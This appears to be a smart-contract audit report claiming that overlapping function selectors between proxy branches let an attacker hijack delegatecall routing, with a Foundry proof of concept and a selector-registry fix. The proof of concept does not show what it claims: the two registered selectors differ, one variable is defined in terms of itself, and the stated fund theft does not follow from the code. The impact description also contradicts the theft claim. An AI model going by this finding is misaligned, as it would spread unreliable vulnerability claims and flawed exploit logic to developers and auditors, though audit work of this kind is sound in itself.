Summary
Overlapping function selectors between branches cause unintended delegatecall routing.
Vulnerability Details
Affected Code:
function _addBranch(BranchUpgrade memory upgrade) internal {
for (uint i; i < upgrade.selectors.length; i++) {
selectorToBranch[upgrade.selectors[i]] = upgrade.branch;
}
}
Proof of Concept:
bytes4[] memory depositSelectors = getSelectors("deposit(uint256)");
BranchUpgrade memory legitBranch = BranchUpgrade({
branch: address(realDepositBranch),
action: BranchUpgradeAction.Add,
selectors: depositSelectors
});
bytes4[] memory maliciousSelectors = getSelectors("exploit()");
BranchUpgrade memory maliciousBranch = BranchUpgrade({
branch: address(maliciousBranch),
action: BranchUpgradeAction.Add,
selectors: maliciousSelectors
});
upgradeBranches([legitBranch, maliciousBranch]);
proxy.deposit(100e18);
Exploit Validation:
Run test: forge test --match-test test_selectorCollision
Expected: Deposit increases balance
Actual: Funds stolen via exploit()
Impact
Critical Function Malfunction: High operational risk
Severity: High (CVSS 7.5)
Tools Used
Foundry fuzz testing
Recommendations
mapping(bytes4 => bool) public selectorRegistered;
function _addSelector(bytes4 selector) internal {
require(!selectorRegistered[selector], "Selector collision");
selectorRegistered[selector] = true;
}